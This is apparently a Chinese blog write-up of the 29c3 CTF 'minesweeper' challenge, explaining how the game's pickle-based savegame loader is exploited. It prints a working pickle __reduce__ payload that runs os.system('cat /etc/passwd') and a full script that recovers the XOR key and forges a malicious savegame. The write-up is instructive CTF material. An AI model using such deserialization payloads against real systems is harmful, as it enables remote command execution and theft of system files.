29c3 CTF minesweeper

源码http://shell-storm.org/repo/CTF/29c3/Exploitation/minesweeper/minesweeper.py
参考文章http://www.blue-lotus.net/29c3-ctf-minesweeper/
通过python minesweeper.py启动游戏。用nc localhost 1024 开始玩游戏。
这是一个扫雷游戏,通过o 0:0 开启一个格子,通过s保存进度,通过l data加载数据。

Screenshot from 2019-03-27 13-47-18.png

漏洞点是因为加载和保持数据使用了python的pickle模块。

    def load(self, data):
        self.__dict__ = pickle.loads(data)

    def save(self):
        return pickle.dumps(self.__dict__, 1)

调用pickle的loads函数时会根据__reduce__函数来创建对象。
该函数返回一个元组,元组包含2到5个元素,第一个元素是一个可调用的对象用来创建对象,第二个元素是一个包含参数的元组作为可调用对象的参数。

# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import os
import pickle
class Exploit(object):
  def __reduce__(self):
      comm = "cat /etc/passwd"
      return (os.system, (comm,))
payload = pickle.dumps(Exploit())

pickle.loads(payload)  #执行os.system("cat /etc/passwd")

游戏没这么简单。

elif line[0] in "lL":
        m = re_save.match(line)
        if m is None:
            return (True, "Usage: '([lL]) *([0-9a-zA-Z+/]+=*) *', Cmd=\\1(Load) Save=\\2")
        msg = base64.standard_b64decode(m.group(1))
        tmp = ""
        for i in xrange(0, len(msg)):
            tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
        msg = tmp
        if msg[0:9] != "4n71cH3aT":
            return (True, "Unable to load savegame (magic)")
        h = hashlib.sha1()
        h.update(msg[9+h.digest_size:])
        if msg[9:9+h.digest_size] != h.digest():
            return (True, "Unable to load savegame (checksum)")
        try:
            f.load(msg[9+h.digest_size:])
        except:
            return (True, "Unable to load savegame (exception)")
        return (True, "Savegame loaded")
elif len(line) == 1 and line[0] in "sS":
        msg = f.save()
        h = hashlib.sha1()
        h.update(msg)
        msg = "4n71cH3aT" + h.digest() + msg
        tmp = ""
        for i in xrange(0, len(msg)):
            tmp += chr(ord(msg[i]) ^ ord(encrypt_key[i % len(encrypt_key)]))
        msg = tmp
        return (True, "Your savegame: " + base64.standard_b64encode(msg))

游戏保存进度和加载进度还会对数据进行处理。
加密数据的关键部分是XOR。
msg XOR key=tmp
msg XOR tmp =key
我们并不知道key,但是我们有其他2部分。得到key之后就可以构造payload了。
msg 来源于pickle.dumps(self.__dict__, 1)
self.__dict__是Field对象的属性。

def __init__(self, w, h, mines):
        self.w = w
        self.h = h
        self.mines = set()
        while len(self.mines) < mines:
            y = random.randint(0, h - 1)
            x = random.randint(0, w - 1)
            self.mines.add((y, x))
        self.mines = sorted(self.mines)
        self.opened = []
        self.flagged = []

通过源码我们可以得到大部分属性f = Field(16, 16, 20)
其实可以通过本地搭建环境,打印self.__dict__就知道里面有什么。
我们不知道的就是雷的位置self.mines,通关游戏就可以获得。
所以我们已经知道了self.__dict__,就可以知道msg的值了。
msg 和 tmp都已知可以求得key。
通关脚本,需要填入自己的mines和opened和cipher值。

# -*- coding: UTF-8 -*-
import bisect, random, socket, signal, base64, pickle, hashlib, sys, re, os

class Field:
    def __init__(self, w, h, mines):
        self.w = w
        self.h = h
        self.mines = set()
        while len(self.mines) < mines:
            y = random.randint(0, h - 1)
            x = random.randint(0, w - 1)
            self.mines.add((y, x))
        self.mines = sorted(self.mines)
        self.opened = []
        self.flagged = []

f = Field(16, 16, 20)

mines = [(0, 4), (1, 11), (2, 3), (2, 11), (3, 1), (3, 2), (3, 3), (5, 6), (5, 10), (5, 11), (6, 7), (8,
14), (9, 5), (10, 10), (11, 14), (12, 0), (12, 12), (13, 5), (13, 13), (14, 0)]
f.mines=mines
opened = [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (1, 3), (2, 0), (2, 1), (2, 2)]
f.opened = opened
# print f.__dict__

key=''

cipher='YhOBmQvCYGQ5/oo2flxartigfTjPgvJZIJNDm6WqHQZY3Hf2l7jVN2nalR5hgTpkXg3hxvkad+wSC5gp6X0igqrN4gm50Q1k8aRRKZO8ncabxhVg1lKeCwbzky4Y1RdMyMzTNx3LEg22qnY6lwPlHk6IIOJLwiBE6V3IqXhXBy2+h0whi7niQ5llC8Tzfnyop8PFmvnYp6jfadW7SA9jH1c3zDDVc+oRfQdNQpW3iqvzZ1+69HPVTJUvndGkf5Z8wwQwSb4iZbK94BPz57kpd8tCvAXBVE6+hieTa3r0mkJMEMpUYIryRRN3eLne0WGWh7rg6pURmLiP88Xsr/koSOtogoGnbwm9d9RrdBi7c8UaytzNS/Omywlx0sCF4ecxgcuYD3FvgLNFIB4lGYPGg7Wnpw2zHZhtckjOHxursF2xKjNv82qKeZ6TT4EZ0KWIz3+pXg=='

msg1 = base64.standard_b64decode(cipher)

msg2 = pickle.dumps(f.__dict__,1)
h = hashlib.sha1()
h.update(msg2)
msg2 = "4n71cH3aT" + h.digest() + msg2
# 求 key,用msg 异或加密后的数据
for i in xrange(0,len(msg1)):
    key += chr(ord(msg1[i]) ^ ord(msg2[i]))
print key


#构造payload,在游戏中输入l payload
class Exploit(object):
  def __reduce__(self):
      comm = "cat /etc/passwd"
      return (os.system, (comm,))
payload = pickle.dumps(Exploit())

h = hashlib.sha1()
h.update(payload)
msg = "4n71cH3aT" + h.digest() + payload

pp=''
for i in xrange(len(msg)):
    pp+=chr(ord(msg[i])^ord(key[i]))
print base64.standard_b64encode(pp)
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,233评论 6 495
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,357评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,831评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,313评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,417评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,470评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,482评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,265评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,708评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,997评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,176评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,503评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,150评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,391评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,034评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,063评论 2 352

推荐阅读更多精彩内容

  • 写在前面的话 代码中的# > 表示的是输出结果 输入 使用input()函数 用法 注意input函数输出的均是字...
    FlyingLittlePG阅读 2,751评论 0 8
  • Swift1> Swift和OC的区别1.1> Swift没有地址/指针的概念1.2> 泛型1.3> 类型严谨 对...
    cosWriter阅读 11,094评论 1 32
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,737评论 0 10
  • 闻丁/旅行笔记 2011.4.25(晴。周五)今晨7:00我就起来,冲热水澡把整夜房间空调22°带来凉气轰掉,浑身...
    闻丁阅读 262评论 0 1
  • 客人到了目的地,老王把车停在了路边。他盘算,这里离家有一段距离,如果再能接一位客人回程,这趟活儿就完美了。 手机提...
    柳二白阅读 808评论 2 14